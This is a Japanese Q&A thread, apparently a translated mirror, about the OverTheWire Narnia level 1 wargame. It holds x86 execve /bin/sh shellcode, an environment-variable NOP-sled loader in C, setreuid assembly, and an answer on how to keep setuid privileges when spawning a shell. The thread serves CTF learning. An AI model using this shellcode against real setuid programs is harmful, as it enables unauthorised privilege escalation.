web-dev-qa-db-ja.com

このバイナリを実行するとsetuidビットが機能しないのはなぜですか?

私は現在、overthewire.orgでNarniaの課題に取り組んでいます。 1-> 2の課題で、回避できないように見える問題が発生しています。基本的に、setuidビットが設定されているnarnia1というCプログラムがあります。これはそのためのコードです。

int main(){
  int (*ret)();

  if(getenv("Egg")==NULL){    
      printf("Give me something to execute at the env-variable Egg\n");
      exit(1);
  }

  printf("Trying to execute Egg!\n");
  ret = getenv("Egg");
  ret();

  return 0;
}

Setuidを実行すると、narnia2のアクセス許可が与えられるので、/ etc/narnia_pass/narnia2パスワードファイルを読み取るために、narnia2の特権を持つシェルを生成しようとしています。私は2つの異なる方法を試しましたが、どちらもnarnia1としてシェルを生成しました。私が使用した最初の方法は、Pythonでシェルコードを印刷することでした。

export Egg=$(python -c 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"')

不良文字を削除しない単純なシェルコードを使用してみましたが、機能しませんでした。 narnia1シェルを入手しました。私が使用した2番目の方法は、env変数をシェルコードで設定するCプログラムを作成することでした。

#define NOP 0x90

char shellcode[] ="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

int main(void)
{
       char Shell[512];

        puts("Eggshell loaded into environment.\n");
        memset(Shell,NOP,512);
        memcpy(&Shell[512-strlen(shellcode)],shellcode,strlen(shellcode));
        setenv("Egg", Shell, 1);
        putenv(Shell);
        system("bash");
        return 0;
}

これらの方法はどちらも、オンラインのすべてのナルニアウォークスルーで見つけた方法と同じでしたが、適切に機能させることができません。 tmpの代わりにnarniaディレクトリでeggcode.cプログラムを実行してみましたが、それも機能しませんでした。また、次のアセンブリ言語から派生したシェルコードを使用してみました。

   xor eax, eax
   mov al, 70              ;setreuid is syscall 70
   xor ebx, ebx
   xor ecx, ecx
   int 0x80

   jmp short ender

   starter:

   pop ebx                 ;get the address of the string
   xor eax, eax

   mov [ebx+7 ], al        ;put a NULL where the N is in the string
   mov [ebx+8 ], ebx       ;put the address of the string to wherethe
                           ;AAAA is
   mov [ebx+12], eax       ;put 4 null bytes into where the BBBB is
   mov al, 11              ;execve is syscall 11
   lea ecx, [ebx+8]        ;load the address of where the AAAA was
   lea edx, [ebx+12]       ;load the address of the NULLS
   int 0x80                ;call the kernel, WE HAVE A Shell!

   ender:
   call starter
   db '/bin/shNAAAABBBB'

繰り返しますが、これはnarnia1シェルのみを生成しました。コードがシェルを生成しているため、問題はシェルコードにあるのではないかと思います。しかし、他に何ができるかわかりません。どんな助けでも本当にいただければ幸いです。

2
Joel B.

私は、あなたが与えたアセンブリコードの例、特にsetreuidへのシステムコールを作成する部分について、順調に進んでいると思います。ただし、実際の有効なユーザーIDを0に設定しようとしています。manページによると、これは機能しません。

非特権ユーザーは、実ユーザーIDを実ユーザーIDまたは実効ユーザーIDにのみ設定できます。

ソース: http://man7.org/linux/man-pages/man2/setreuid.2.html

Narnia0.cでは、setreuid(geteuid(),geteuid());呼び出しの前にsystem("/bin/sh")への呼び出しがあることがわかります。だから私はあなたがあなたのシステムコールをアセンブリのsetreuidに似たものに調整する必要があると信じています。

作成時のnarnia0.cソースコードを含むnarnia0の old write-up を見つけましたが、それはしませんsetreuid呼び出しを含めます。 narnia1の古い記事では、シェルコードにsetreuidへの呼び出しを含める必要がないため、これは理にかなっています。システムのセットアップ方法、またはシェルの起動時に有効なユーザーIDが処理される方法のいずれかで、何かが変更されている必要があります。

現在、シェルを生成しようとするのではなく、他のコマンド(catなど)を直接実行するシェルコードは、setreuidを事前に呼び出すことなく実際に機能します(narnia2ファイルにアクセスできます)。そのため、変更はシェルの起動に影響しているようです。おそらく、シェル自体が変更されたため、起動時に有効なユーザーIDが実際のユーザーIDにリセットされるようになりましたが、現時点では推測しているだけです(ただし、上記のすべてを説明します)。

1
Alex Schimp